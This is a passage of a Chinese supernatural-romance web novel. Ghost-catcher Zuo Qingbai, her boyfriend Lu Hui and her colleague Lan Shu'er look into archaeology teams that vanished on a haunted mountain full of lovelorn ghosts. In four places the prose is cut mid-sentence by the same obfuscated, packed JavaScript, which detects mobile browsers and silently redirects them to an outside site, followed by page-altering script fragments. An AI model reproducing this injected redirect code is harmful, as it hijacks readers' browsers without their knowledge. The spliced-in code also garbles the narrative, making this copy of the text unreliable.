武行和武指是两个概念,武指负责设计动作、把控动作质量,他们不亲自上场,通常以第三方的角色在一旁旁观;武行则是要亲自上场,他们需要把武指设计的动作展现出来。武指必须熟读剧本,跟编剧、导演沟通,不然无法设计出符合故事场景的动作;武行则可以不看剧本,只要把武指设计的动作做出来就行了。 武行分外围武行和跟组武行,跟组武行是跟着剧组跑的,外围武行则是在拍摄地临时请的,这次的剧组没有跟组武行,全都是临时请的外围武行。 这些外围武行全都是悼青山本地人,操着这边的口音跟沈放、左轻白他们沟通。一名武行忽然指着左轻白说:“咦,你不是那个演员吗?演了《千妖百鬼录》的那个?怎么来当武指了?” 左轻白解释道:“我是兼职的。这部戏我是友情出演,戏份不多,所以有时间来帮沈哥的忙。” “你会打啊?”武行问。 “我会啊,我从小练的。” 说着,左轻白露了两手。 “哇,你真会啊!我还以为那些营销号说你拍戏不用替身是吹牛的哩!” 左轻白挠了挠后脑勺,尴尬道:“确实是吹牛。不是不用,该用替身的时候还是会用的,只不过用得比别人少而已,毕竟有些专业镜头还得让专业替身来。” 武行朝左轻白竖起了大拇指,“实诚!我喜欢实诚人。” 几个武行都是悼青山本地人,左轻白想起沈放讲的故事,便问他们:“这座悼青山,你们本地人应该都进去过吧?” 几个武行你看看我我看看你,说:“进这破山干什么?我们从来不进去。” “但听说你们本地人每年七月十四都会进去祭祀。” 武行们笑出了声,“那都是老一辈的事了!说什么七月十四如果不进山祭祀妖怪墓,悼青山附近的七个镇都要有大灾祸,迷信罢了!已经有很多年没人进去祭祀了,哪有什么大灾祸?” “是啊,以前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14214316|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科学不发达,人都很迷信,一座普通古墓而已,哪是什么妖怪墓?” 左轻白若有所思道:“所以是真的有座墓……” 左轻白又问:“那你们这里有来过什么考古队吗?” “考古队?”武行想了想,说:“不知道。印象中没有。” 左轻白去问沈放:“沈哥,你那位朋友的大伯今年多大?” “差不多六十了吧。”沈放想了想,说。 “他看见考古队是他多少岁的时候?” “应该三十左右。” “那就是刚好三十年……”左轻白瞳孔一缩,表情微变。 忙完后,左轻白抽空给路回打了个视频电话。 路回坐在办公室里,像是刚刚放下手头的工作。作为一个富三代,路回真的是个好榜样,从不出去花天酒地,没有什么不良嗜好,每天认真工作。 “你在悼青山?”路回问。 “是啊。” “看起来风景不错。” “当然,风景好,空气质量更好,你要不要也过来玩玩?免得整天在城市里吸雾霾。”左轻白开玩笑道。 路回一挑眉,说:“你叫我去,我是真的会去。不过……以我对你的了解,你打这通电话应该不是为了邀请我过去玩的吧?说吧,捉鬼师小姐,找我帮什么忙?” 左轻白嘻嘻一笑,“被你识破了。是这样的,我想让你帮我查一下三十年前有没有一支考古队来过悼青山,如果有,是哪个部门的?来考察什么的?” 路回沉默了两秒,说道:“你的脑回路怎么……捉鬼师小姐,请问考古队归我路家管吗?” 左轻白继续嘻嘻哈哈,撒娇道:“呐,我当然知道考古队不归路家管,考古队归国家管。但是路总你神通广大,人脉多路子广,你找几个朋友问问嘛。拜托拜托,这事很重要。” “这事为什么重要?” “因为这事关系到悼青山周边七个镇的安危。如有差错,悼青山周边七个镇很有可能一夕之间全部毁灭。”左轻白严肃地说。 102. 我的整条命 “这么严重?”路回问。 左轻白点了点头。 “那这个忙我无论如何都要帮了,我一会帮你找人。”路回说。 路回沉默了几秒,忽然问:“轻白,当初你答应做我女朋友,是因为喜欢我,还是因为我的资源可以帮你捉鬼?” “当然因为喜欢你呀。”左轻白毫不犹豫地说,“你的资源是顺带的,我男朋友的资源,我不用,难道还给别人用吗?” 路回想想,好像是这个理。 左轻白又道:“再说,鬼吃人,捉鬼就是救人,你不仅帮了我,也救了人呀,路少爷。” 路回通过手机屏幕看左轻白,屏幕那头的左轻白也坦坦荡荡地回看他。 路回恍惚了一下,忽然想起自己为什么会喜欢左轻白,就是因为她坦荡。除了确定关系前的一段时间她不敢承认自己的感情,纠结了几天,躲了几天外,其他时候这个女孩真的就是坦坦荡荡,做事不扭捏,做人也真实。 这是让路回所欣羡的。路回被作为继承人培养,从小加在他身上的要求和限制很多,在大多数场合路回必须得端着,所以他喜欢左轻白的真实坦荡。 想着,路回不自觉嘴角上扬,心想:这就是互补吧。 然而路回的嘴角还扬着,电话那头的左轻白一句话就把它给整下来了。 左轻白一脸认真地说:“一切为了捉鬼,你要是帮不了,我会去找别人。” 路回的嘴角一下子就落下来了,咬牙道:“你要去找别人?你要去找谁?” “我打个比方。对我来说,不管用什么手段,一切以捉鬼优先。” “打比方也不行。你只能找我。”路回恨恨地说,“还不管用什么手段?你想用什么手段?” “你不懂,世上鬼很多而捉鬼师很少,对我们来说,不管什么手段,不管去求谁,能把鬼除掉就行。只看结果,这是师父教我们的。”左轻白坦诚道。 路回问:“你师父说的都是对的吗?” “是啊,我师父虽然有时很搞笑,还很不靠谱,但他是个睿智的人,他告诉我们,世界上每个人都要找到自己的位置,我们捉鬼师也有我们捉鬼师的位置和责任。” “那我跟你们捉鬼师的位置和责任比,谁重要?” 左轻白皱眉沉思,想了很久没回答。 路回有些郁闷,“要想这么久吗?你要是觉得我不重要,告诉我我不重要就好了。” 他这话里有赌气的味道,只是他自己没意识到。 左轻白认真道:“不排名,都重要。” 左轻白又说:“对于捉鬼师左轻白来说,捉鬼重要;但对于捉鬼师身份下的左轻白本人来说,路少爷,你知不知道,你是我的半条命。” 左轻白的表白来得突然,她语气认真,表情也认真,像是在很诚恳地跟路回做一个承诺。 路回微愣,接着不自觉地微笑起来,他轻声调笑:“那你就是我的整条命。” 这俩小情侣还在那甜腻腻地互相表白,突然沈放在不远处叫了左轻白一声:“轻白老师,快快快,抓紧时间咱们排一次!” 左轻白赶紧道:“来了!” 沈放口中说的“排一次”是排练动作戏的意思,动作戏的拍摄比文戏复杂,正式开拍前都要提前排练,哪怕是最专业的武行演员,也逃不了排练,排练的时候武指要跟武行面对面地沟通动作。 左轻白看了一眼路回,小情侣在分别时总有万般不舍,左轻白粘粘乎乎地做了个亲吻的动作,才关掉视频去工作。 路回的速度很快,左轻白排练过半的时候,他就把当年考古队的信息发到了左轻白手机上。 原来事情是这样的,三十年前有人在悼青山附近发现疑似史前文明的痕迹,省文物局非常重视,立即将“悼青山史前文明考察项目”列为重点考古项目,派出考古队进驻悼青山。第一支考古队进山一个月后就失去了联系,考古队员全部失踪。 局里没有冲动地马上派出第二支考古队,而是先派了一个调查员到悼青山周围的镇上询问线索,调查员问镇上的人是否看到有人从悼青山里出来,镇上的人告诉调查员,有,进山的是一队人,出来的只有一个人。 调查员让镇上的人描述出来这个人的相貌,但奇怪的是镇上的人死活想不起来那人长什么样,就连基本的外貌特征,眼睛是大是小,鼻子是高是塌,都想不起来。不过镇上的人给了调查员一条至关重要的线索,线索是一个相机,镇上的人说是出来的那个人留下的,那个人叮嘱他们好好保存,如果省文物局来人,就把相机交给他。 调查员把相机带回局里,局里的人看到了相机里的照片。 相机的主人拍了一座古墓,又拍了古墓里的很多壁画,这些壁画保存完好,但是内容很诡异。 壁画上画了很多独眼羊,这些羊只有一只眼睛的原因不是另外一只眼睛被挖了或者被弄瞎了,它们脸上应该长第二只眼的位置没有伤疤之类的痕迹,所以可以推断,这些羊只有一只眼是因为它生下来就只有一只眼。 除了羊,壁画上还画了很多人,这些人都是独眼人,同样,他们之所以只有一只眼睛不是因为另外一只眼睛被挖了或者被弄瞎了,他们脸上该长第二只眼的位置没有任何伤疤,他们就是天生只有一只眼。 诡异的地方不只在于照片本身,省文物局所有看过这些照片的博士、专家、研究员,在他们之后的日记中都曾反应过这样一个现象,自从看过那些照片后,每当他们伏案工作到很晚时,就会突然觉得有人拍了拍自己的后背,可回头一看,背后却没有人,不知道是心理作用还是什么原因,虽然没看到人,但他们总觉得有只无形的独眼羊在看着他们。 有人觉得悼青山的事情太过诡异,建议暂停项目,但当时负责这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14252565|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项目的是一个叫陈青的博士,陈博士认为,悼青山里或许生存着或者曾经生存着一群只长着一只眼的人类,这些人类可能是一种从未被发现的民族群体,独眼羊就是他们的民族图腾;陈博士还提出了另外一种可能,这些独眼人不是人类,而是远古时期降落在地球,在地球生活了一段时间的外星人。所以陈博士笃定这是个非常不得了的项目,他认为悼青山内或许藏着跟玛雅文明同样重要的古文明,这些古文明一旦被发现,那一定是中国考古史上浓墨重彩的一笔,他强烈反对暂停项目。 在陈博士的努力下,项目没有暂停,省文物局还同意派出第二支考古队前往悼青山,第二支考古队由陈青博士担任领队。 陈博士带队出发。结果,跟第一支考古队的下场一样,进山一个月后,第二支考古队也没了音讯,全队人失踪。 一连丢了两支考古队,局里人人恐慌,上级领导不敢再继续悼青山的项目,勒令停止,并把项目资料全部封存,不得重启。 左轻白看完考古队的故事后,嘴里不停地默念“陈青”的名字。 这时是中场休息时间,武行们都在抓紧时间喝水吃东西,补充能量,忽然其中一个武行听到左轻白念“陈青”的名字,便好奇道:“轻白老师,你怎么在念我干爹的名字啊?” 这个武行叫吴声,悼青山本地人。 说着,吴声一拍自己的脑袋,笑道:“应该不是同一个人,同名同姓而已,陈青这个名字太常见了。” “你干爹叫陈青?”左轻白惊讶道。 “是啊,我干爹是景区管理员,不过也就是这几年悼青山外围开发出来了,有了景区,他才当上管理员的,以前,这座山什么都没开发的时候,我干爹是个守山人,那时山里有豺狼,会吃小孩,我就遇到过,差点没命,多亏了当时正在守山的干爹,是干爹救了我,就是因为这次救命之恩,我爸让我认他做干爹。”吴声虽然名字谐音“无声”,但却是个话多爱聊天的,一股脑把啥都说了。 左轻白一开始还坐着,听他说完直接站了起来。 左轻白大张着嘴,惊讶地问:“你干爹他……是不是文质彬彬的,像个博士之类的知识分子?” “我干爹不是什么博士,但他确实很有文化,我小时候不会写的作业都是他教我写的。”吴声说。 左轻白的嘴几乎能塞下一个鸡蛋,她心想:陈青博士还活着?不对,如果他还活着,而且没改名,省文物局的人怎么不接他回去? 吴声继续滔滔不绝地说:“我一直猜测我干爹会不会是那个年代的落难公子,毕竟他们那个年代能读得起书就没有多少,我干爹却很有文化。还真别说,前两天从京城来了个穿得很贵、长得也很贵的公子哥,去找我干爹了,也不知道找我干爹干什么……” “那公子哥叫什么名字?”左轻白连忙问。 “好像是……周夙。” 103. 我靠,帅 半夜,左轻白趁大家都睡着之后离开了拍摄地,她跟吴声打听到了陈青的住址,连夜去找陈青。 她不是一个人去的,她叫来了一个帮手——同样是捉鬼师的兰殊尔。 月夜下,兰殊尔开着一辆吉普车把左轻白载上,两人前往陈青的家。作为曾经的守山人,现在的景区管理员,陈青的家就在悼青山下。 “有些地方电话里你说不清楚,现在你再说一下。”兰殊尔依然保持着那张熟悉的扑克脸,对左轻白说道。 “好,我挑重点的说。”左轻白道,“据悼青山本地人说,他曾经在悼青山里遇到过伪装成考古队的鬼。” “听你在电话里的描述,那队考古队就是鬼无疑。”兰殊尔一脸严肃,冷声说。 “是情鬼。” 情鬼,为情所困、因情而死的鬼。殉情的、或者单方面为对方自杀的都会变成情鬼。 “情鬼?”兰殊尔不太信,“为什么会想到情鬼?考古队跟情鬼的跨度是不是有点大?” “一队考古队队员,或许谁都不会把他们跟情鬼联系到一起,但依我的判断,它们在鬼中的分类就属于情鬼。” “何以见得?” “从那个悼青山老乡的另一段描述中推断出来。”左轻白说,“据他所说,悼青山附近的村子每到七月十四都会选出十几个18到45岁之间的青壮年,在正午太阳最大的时候,抬着猪、羊、鸡、鸭这些祭品,深入悼青山祭祀一座古墓,老人们嘱咐从古墓离开时不能回头,无论听到任何声音都不能回头。老乡返程时听到了声音,他说那声音不像人声,难以形容,但我去网上查了许多恐怖帖子,找到了不少跟悼青山古墓有关的描述,发现不同的人听到的声音其实是不同的,如果是个老光棍,就会听到不像人声的声音,但如果是有爱人的,或者谈过恋爱还没放下对方的,他们听到的就是他们爱人的声音。” “用爱人的声音诱惑他们回头?” “嗯,一旦回头就会被诱惑自杀,然后留下来当鬼。当然,如果是老光棍就没什么可诱惑的了。” “所以老光棍进去反而是最安全的。” “是啊。三十年前考古队进山,最后只有陈青出来了,为什么?我从我男朋友路回提供的资料中发现,因为陈青是个科研狂魔啊,一心投在做学问上,老大年纪了都没谈过恋爱,连喜欢的女孩子都没有。别的考古队员不一样,别的就算没对象,多少也谈过恋爱,心里有人啊。一旦心里有人,那就具备了被悼青山留下来当情鬼的条件。” “这些个老光棍真是……塞翁失马,焉知非福。”兰殊尔评价道。 左轻白继续论证:“我查了悼青山的历史,这座山不仅是一座未完全开发的原始森林,在古时候它还是一座有名的殉情山。” “殉情?” “是啊,古时候不是流行包办婚姻吗?所以周边这些地方,但凡有那种相爱但无法在一起的小情侣,为了逃离世俗,都会跑进悼青山里去。进去了不就死了呗?死了不就变成情鬼了呗?变成情鬼那就一直留在山里害人了呗。” “这些东西是你自己查的吗?还是谁帮你查的?” “我男朋友路回帮我查的。” “哦,又你男朋友。那这山你不适合进去,你不是老光棍。一会我进去吧,我是老光棍。”兰殊尔安排上了。 一秒钟之后兰殊尔突然补充了一句:“我算是知道你为什么叫我来了,就因为我是老光棍是吧?” 接着,兰殊尔又问:“那你是怎么判断出这事关系到悼青山周边七个镇的安危,甚至七个镇有可能一夕之间全部毁灭?” 左轻白说:“你别急,耐心听我说完。” “你说。” “听悼青山本地人说,山里那座古墓已经三十年没人进去祭祀了,不仅没人祭祀,进去殉情的小情侣也越来越少,也就意味着山里那些情鬼的食物越来越少。” 鬼喜吃生食,有祭品吃祭品,无祭品就勾引人,它们会吃掉勾引而来的人的血肉,留下他们人皮,人皮可自用,也可还给因此产生的新鬼——如果有的话。 兰殊尔突然意识到一个问题:“它们为什么不出山?” “我怀疑这山有什么结界,导致它们出不来。” 兰殊尔冷笑,“一群没有食物的饿鬼在山里出不来,养蛊一样,有结界也撑不了多久,这座山迟早会爆的。” 山也会爆炸的。世界上一切匪夷所思的爆炸都有可能发生,参考历史上曾发生过的三次至今科学无法解释的超级大爆炸:天启大爆炸、通古斯大爆炸和摩亨佐大爆炸,威力比核弹还强,城市也好、山林也好,都毁于一旦。 “所以说啊,如果悼青山爆了,挨着山的七个镇当然也就毁灭了,就像历史上出现的天启大爆炸、通古斯大爆炸和摩亨佐大爆炸这三次无法解释的超级大爆炸一样。”左轻白笃定地说。 “如果你的判断或者说你的猜测是对的话,那么现在还存在几个问题。”兰殊尔说。 “你说。” “首先,悼青山里的古墓是谁的墓,墓中壁画上的独眼羊和独眼人是什么东西?” “对,这是个未解之谜。”左轻白点头。 “其次,把相机带出悼青山的那个人是谁?” “对,这也是个谜。”左轻白再点头。 “然后,陈青为什么不回考古队?” “我们现在就去陈青家问他。”左轻白继续点头。 “最后,那个转世而来的捉鬼师周夙去找陈青干什么?” “没错,去了陈青家就知道了。”左轻白又一点头。 突然,兰殊尔一个急刹车,把左轻白吓一跳。 “你干嘛?”左轻白问。 “有人拦着我们。”兰殊尔冷着脸说。 一束强光从前方照过来,左轻白眼睛一眯,忙举起手挡光。 “谁的车啊这是?”左轻白大声问,强光刺眼,左轻白眯着眼,看不清前方。 “不是车。”兰殊尔冷着一张脸说,“是直升飞机!” 匪夷所思的一幕发生了,一架直升飞机停在了兰殊尔和左轻白的车前,一人抱着头盔从直升机上走下来。 那人逆着光,左轻白看不清,只能看到他腰窄腿长,身材很好,配上一身合身的飞行服,再配上此时的场景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14304012|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,非常之酷。 “我靠!”左轻白不由发声,“这谁啊?出场这么酷?装什么逼哦?最烦装逼的人了。” 那人走到了左轻白车窗前,左轻白就坐在副驾驶,副驾驶的窗户一直是开着的。 那人一只手大剌剌撑在副驾驶大开的窗户上,看着左轻白,咬牙切齿道:“你说谁装逼?” 左轻白一愣,这不是自己男朋友路回的声音吗? 左轻白抬头,果然,路回穿着飞行服,就站在车外,此时正一手撑着车窗,一手抱着飞行头盔,咬牙切齿地盯着自己看。 路回看了看副驾驶座上的左轻白,又看了看驾驶座上的兰殊尔,那股醋意都要从眼中流出来了,他对左轻白说:“搞什么,你一个有男朋友的人,坐别人的副驾驶?” 兰殊尔面无表情地揉揉耳朵,冷声对左轻白说:“你下车吧。就说这什么悼青山只适合我这种老光棍一个人去。” 左轻白则惊讶地指着前方的直升机对路回说:“你你你你……这是从哪偷来的?” “什么从哪偷来的?这是我私人的。”路回后槽牙快咬烂了。 好像以路回的家世,买架私人直升机不是什么难事。 “你会开?”左轻白又问。 “会啊,以前在国外跟我外公学的,我有证。” 见左轻白还不从兰殊尔的副驾驶座上下来,路回气得锤门,“下车,你要进悼青山,这车哪行?直升机带你进去。” “我靠,帅!”左轻白诚恳地感慨。 兰殊尔闭上了眼,捂上了耳,依旧摆着一张扑克脸,用赶人的语气说:“滚滚滚,赶紧下车。” “那咱们兵分两路,你继续开车去找陈青和周夙,我坐我男朋友的直升机进山,你知道陈青的住址。”左轻白说。 兰殊尔幽幽地说:“你俩进山?完全符合进去做情鬼的条件。” “没事的,我也是捉鬼师,区区一座破悼青山,和破悼青山里的鬼,能奈我何?”左轻白解下安全带,下了车。 兰殊尔开车去找陈青和周夙之前,对左轻白说道:“等一下,进山之后没有信号,我俩交换一下血符,一会好联系。” “好。” 说着,左轻白掏出一张空白符纸,咬破自己的手指,用手指在空白符纸留下一抹血,周夙也是同样的举动,两人把符纸折叠起来,交换了带有血迹的符纸。 路回看愣了。 交换符纸后,兰殊尔独自开车前往陈青的住址,去找陈青和周夙。 路回问左轻白:“刚才那是什么仪式?” “山里没信号,手机没法联系,捉鬼师之间交换血符,无论在什么样的环境都能找到对方的踪迹。” “搞得跟什么暧昧的约定一样……”路回不爽地喃喃。 左轻白捏了一下路回的脸,说:“别吃醋了,醋王。用直升机送我进山吧,我倒要看看,这破悼青山到底有什么名堂?” 路回回捏了一下左轻白的脸,说:“你才醋王。” 左轻白又捏了一下路回的脸,“放心,我会保护好你的。” 路回回捏,“是保护好我俩。” 104. 不缺八卦啊 左轻白和路回乘坐直升机前往悼青山,直升机飞到悼青山上空时,左轻白口中念念有词,她手指泛起金光,她将金光点在自己眉间,开了天眼。 左轻白看到,整座山被一座结界包裹,结界上锁着粗壮的锁链和巨大的锁头,锁链扯着山体,山体中像是有一股可怕的能量在膨胀,膨胀着膨胀着,山体、锁链、结界在它的挤压下都面临着爆炸。 左轻白说道:“鬼太多了,全被结界锁在山里,日积月累,又缺乏食物,鬼的怨气越来越大,怨气在山体里膨胀,再这样下去,这座山很快会爆炸,周边的人都会被连累。” “我怎么什么都看不到?”路回问。 “你想看?”左轻白问。 “想。” “头盔能摘吗?” “你摘吧。” 左轻白摘下了路回的头盔,凑近路回,将指尖的金光点在了路回的眉间,二人视觉联通,路回果然看见了摇摇欲坠的山体、锁链以及结界。 “进山之后,先除鬼,再开结界,顺序不能反,否则鬼就跑出去了。”左轻白小声自言自语,在那做规划。 路回问:“我哥怎么回事?” “你真关心你哥啊。”左轻白看了一眼路回,“我还想问你呢,你哥突然来悼青山,你知道什么内幕不?” “我只知道来之前他见过金绮月。” “我就知道。”左轻白无奈地叹了口气。周夙来悼青山百分之百是金绮月指使的,周夙对金绮月言听计从,恋爱脑没救了。 “所以我才担心啊。”路回说,“金绮月又利用我哥。” “你哥恋爱脑,你也不劝一下。”左轻白忍不住说道。 “劝不动。没办法,可能我们家有什么基因吧。”路回边开直升机边说。 他看了一眼身旁的左轻白,突然咬牙切齿地来了一句:“大晚上的我不睡觉,跑过来给你开飞机,我也恋爱脑。” 左轻白笑眯眯地说:“祖传恋爱脑吗?真可爱。”说着,她凑到路回脸边,用力亲了他一口。 “你的直升机可以听广播吗?”左轻白觉得新奇,四处捣鼓。 “可以,点这里。”路回教左轻白怎么开广播。 左轻白打开广播,广播里播放的是娱乐新闻。 “哟,还能听娱乐新闻。”左轻白乐了。 新闻里,女主持人用好听的声音播报:“金狮奖颁奖典礼正在直播中……” “是金狮奖直播。”左轻白说,“金绮月去了,今晚她指定捧个影后奖杯回来。” “你想要吗?”路回忽然问。 “什么?” “金狮奖影后。” “我要那个干嘛?再说,哪轮得到我啊?” “咱立个项目,联系个大导演来操刀,我来投资。” “又不是投资了就有奖,有评委的!” …… 聊着聊着,两人已经飞到了悼青山上空,左轻白往下看了一眼,下面黑乎乎的,全是大树。 左轻白问:“这种环境直升飞机能停吗?” “可以先悬停,把你放下去。”路回说。 左轻白点头道:“也好,把我放下去后你先回去吧。” “不行。”路回拒绝,“把你放下去后,你弄一块停机坪出来,我把飞机停下去。” “我?”左轻白指着自己鼻子说,“我一个人,你当我是个施工队呢?” “你那个符不是能烧火吗,随便烧一块平地出来就好了,直升机不是固定翼飞机,要求没那么高。直升机比固定翼飞机更适合山区。” 路回疯,左轻白也跟他一起疯,左轻白琢磨了一会后,竟然道:“我觉得可行。” 于是他们真这么做了。 路回操纵直升飞机低飞悬停,左轻白进入原始森林。 寂静,幽深的寂静。 黑暗,令人窒息的黑暗。 伸手不见五指的黑暗中不知道有没有一双眼睛在盯着你,那双眼睛的主人不知是人是鬼、是虫是兽、吃人还是不吃人。 在黑暗中往前跨一步,不知道会不会踩到一只奇形怪状的手,落入这里,人像到了另外一个世界,周围是未知的环境。未知才是最恐怖的,因为一旦处于未知中,人的大脑就开始胡思乱想,胡思乱想就是恐惧的源泉。 但这些东西对于左轻白来说几乎是绝缘的,左轻白的脚一落到地上,她就马上开始干活,按照路回所说用符烧出一块停机坪给他。为了避免山火,左轻白需要先挖一条防火的隔离带出来,总之左轻白一落地就开始干活,压根没给大脑胡思乱想的时间。 控制胡思乱想是捉鬼师的修炼项目之一。左轻白曾被玄逸丢进黑暗的房间中,房间里没有电脑、没有手机,也没有电灯,在黑暗而安静的环境中人的大脑愈发活跃,过于活跃的大脑催生出恐惧、焦虑、慌张。捉鬼师要练的就是让大脑不那么活跃。 左轻白什么都不想,心无旁骛地干活,她有捉鬼术和各种乱七八糟的符咒帮忙,干活比普通人要快。左轻白用照明符燃起一盏灯,解决照明问题后她随地抓了两只小鬼帮她挖隔离带,最后点燃火符烧出了一块圆形的停机坪,并向天上的路回发出信号让他降落。 路回顺利降落。下了飞机后,路回望了一眼周围一望无际的黑暗,心里突然一慌。 他好像看到黑暗中有无数双眼睛在看着他,他连忙闭眼,但一闭眼,就仿佛能看到这些眼睛的“主人”全朝他走了过来,一只只黑色的大手往他身上摸。 路回“蹭”的一下睁眼,大汗淋漓,他慌张地四处看,四周依然黑暗,但却没有眼睛。 一旁的左轻白却淡定得很,她笑着用手在路回眼前晃了两下,接着牵起路回的一只手。 “这种环境,你怎么不怕?”路回问。 “我练过的,不怕。”左轻白笑道。 左轻白说:“别胡思乱想,脑袋放空。在黑暗的地方,你越想就越怕。” 左轻白踹了一脚刚才她抓来的小鬼,让小鬼带路,去古墓。左轻白牵着路回的手,边走边说:“我小时候也怕黑,但要当捉鬼师嘛,就得练,练多了就不怕了。” “厉害。” 左轻白道:“没有什么厉不厉害的,每种职业都有每种职业擅长或者不擅长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335805|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,仅此而已。我是捉鬼师,我擅长捉鬼,但让我干别的,比如让我挣很多很多钱,那我干不来,我不如你;而路少爷你呢,出身商界,从小耳濡目染,像什么看财报啊、搞投资啊,对于你来说小菜一碟,但你怕黑,这点你不如我。” “我可没怕黑。”路回逞强。 “你手心都出汗了,没怕?”左轻白取笑道。 左轻白问路回:“怕怎么还下来?” “我想看看,人都好奇。”这是实话。 “好奇心害死猫啊……” 有人一起聊天,恐惧也消散了。 悼青山里有很多鬼,一路上路回和左轻白就碰到了不少,这些鬼披着人皮,以人的形态出现在他们面前。正如左轻白推测的那样,悼青山以前是座殉情山,这里的鬼多是情鬼,还是成双成对出现的。 一旁比人还高的野草丛中传来令人面红耳赤的“嘿咻”声,有一男一女在野.合,一晃一晃的杂草间偶尔露出白花花的四条腿。 那声音愈发狂野,叫人臊得慌,路回忍不住转头朝那边看去,左轻白却捏了捏他的手,说:“别看,是鬼,抓紧我。” 路回便没有看。 两人继续往前走,这时,一个幽幽的女声从路回身后传来:“你们是来殉情的吗?” 左轻白提醒:“别回头,也别回答。” 于是路回没理。 女声见路回不说话,便自顾自地说:“真好,至少你们能死在一起,死也是一对鸳鸯。不像我啊,我和我的爱人相约进山殉情,可到了约定时间,只有我一个人来了,他却没来。他毁了约,抛下了我……” 女声在那诉说她悲惨的过去,结尾说了一句:“你说我当时为什么会看上他?” 路回差点忍不住想接话,左轻白赶紧捏了捏他的手,道:“别出声。” 又走了一段时间,忽然,一个四脚爬行的男人从他们跟前缓缓爬过,左轻白没吭声,静静等他过去。 男人看似消失了,实际绕到了路回身后。 男人的声音在路回背后响起:“你身边这个女人,她真的爱你吗?我爱上了我嫂子,我误会了我嫂子也爱我,于是我把我哥杀了。我以为我嫂子能跟我在一起,可她最终找了一个更有钱的男人,跑了……” 路回满头黑线,心想:住在这山里真是不缺八卦啊。 等到背后的声音都安静下去,路回才出声问左轻白:“刚才那些都是鬼吧?你怎么不收?” “这山那么大,一个个收我一晚上收不完,得想个省力的办法把悼青山的鬼一网打尽,那座古墓,我觉得是中心,以我的经验来看,找到了中心,或许就能找到这样的办法。” 小鬼把左轻白和路回带到了古墓前。 古墓是圆形的,用石头砌的,没有墓碑,因为已经很久没有人来祭祀了,所以杂草丛生。 左轻白找到墓穴眼,对路回说:“咱们进去吧。” 路回忽然想到一件事:“兰殊尔那边怎么样了?他能找到陈青和我哥吗?” “不知道啊。”左轻白说,“不过既然选择他做战友,那就相信他一定能行。” 105. 翻开了日记 月夜下,一辆吉普车在山间公路驰骋,开车的是兰殊尔。 兰殊尔根据左轻白给的地址找到了陈青的住处。 陈青住在悼青山下,远离人群聚居地。夜晚的悼青山像个侧卧的巨人,陈青的独栋小房子孤零零地矗立在巨人脚下,像巨人脚丫子下的沙粒。 公路修到陈青的小房子附近,兰殊尔把车停在路边,下了车,抬头看了一眼陈青的房子。 陈青的房子不大,是个小二层水泥屋,像个小盒子,刷着灰白色外墙。 兰殊尔走近房子。 “有人吗?”兰殊尔敲了敲门。 门没锁,兰殊尔拧了一下门把手,门就开了。屋里子空无一人,但灯是打开的。 一楼是客厅,打扫得很整洁,因为陈青曾是守山人的缘故,木沙发后面的墙上明晃晃地挂着一支猎枪,不知里面有没有子弹。 客厅中央的地板上放着一个黑檀木木盒,木盒的盖子打开,里面装着黑泥,从黑泥里长出一株绿莹莹的树,树正在长大,最高的树枝已经快碰到天花板了。 这就是金绮月让周夙带来的东西,一个装着黑泥的黑檀木木盒。 大树说话了,向兰殊尔发出不似人声的声音:“你有爱人吗?” 兰殊尔冷淡地摇了摇头。 兰殊尔目光扫过客厅,把客厅的长、宽、高、面积、各夹角的角度,都算得明明白白。每到一个新环境,他都习惯先把新环境观察清楚。 大树古怪道:“你怎么能没有爱人?” “累赘的东西,我不需要。”兰殊尔依旧语气冰冷。 兰殊尔打量那棵树,在心里计算从哪个位置砍这棵树最好。 大树还想说话,突然,兰殊尔手中幻化出一把金色手枪,手枪变形,变成一把砍树的大刀。 兰殊尔二话不说举刀砍向大树,他的目标定在树根往上七寸的地方,猛的就是一砍。 这树不是一般的树,这一砍,树晃了一下,但没断。 大树被吓了一跳,赶紧说:“喂,你先别伤我,先听我说几句话,首先。爱不是什么累赘的东西,它很美妙,每个人都需要它……” 大树还没说完,兰殊尔就毫不犹豫地在同一个地方砍了第二刀。 